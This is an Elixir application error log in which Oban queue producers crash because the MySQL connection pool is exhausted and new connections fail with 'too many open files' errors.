[Sun Sep  6 00:35:00.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 871ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:34:48.239483Z], limit: 5, uuid: "90a0b1c5-beaf-47c6-9c4f-9b4ec6bff9cd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:34:48.239489Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.202885>, refresh_timer: #Reference<0.2525715032.1099431938.63916>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:35:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1019ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:34:48.240898Z], limit: 50, uuid: "d6b15e2f-d17c-4b3a-b90f-978a430eacdd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:34:48.240903Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.44823>, refresh_timer: #Reference<0.2525715032.1068498948.65615>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:35:00.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1069ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:34:48.240224Z], limit: 10, uuid: "f887e20f-1b49-4f18-9ff8-87330455ac9d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:34:48.240229Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.44824>, refresh_timer: #Reference<0.2525715032.1099431938.63941>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:35:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1049ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:34:48.239864Z], limit: 5, uuid: "26791e44-d9ae-442c-9781-55c8811446df", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:34:48.239870Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.44825>, refresh_timer: #Reference<0.2525715032.1099431938.63926>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:35:00.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1067ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:34:48.239175Z], limit: 20, uuid: "804cc78d-7673-42cf-b804-6b0d69530750", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:34:48.239181Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.202884>, refresh_timer: #Reference<0.2525715032.1121189889.202861>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:35:03.396000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:35:04.573000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:35:04.738000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:35:06.782000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:35:07.374000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:35:07.951000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:35:08.779000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:35:10.259000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:35:12.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 838ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:35:00.239351Z], limit: 3, uuid: "64718c2e-0483-409f-81ab-1a213517ef65", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:35:00.239357Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.65729>, refresh_timer: #Reference<0.2525715032.1077673987.45143>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:35:12.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1054ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:35:00.240691Z], limit: 5, uuid: "b24865d9-f628-4f3e-bffa-a9007d87cd95", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:35:00.240699Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.65725>, refresh_timer: #Reference<0.2525715032.1068498948.65723>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:35:12.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 809ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:35:00.239618Z], limit: 5, uuid: "1dbc99d0-2581-4e9c-90af-5bfb1143adc6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:35:00.239624Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.65724>, refresh_timer: #Reference<0.2525715032.1068498948.65710>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:35:12.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1096ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
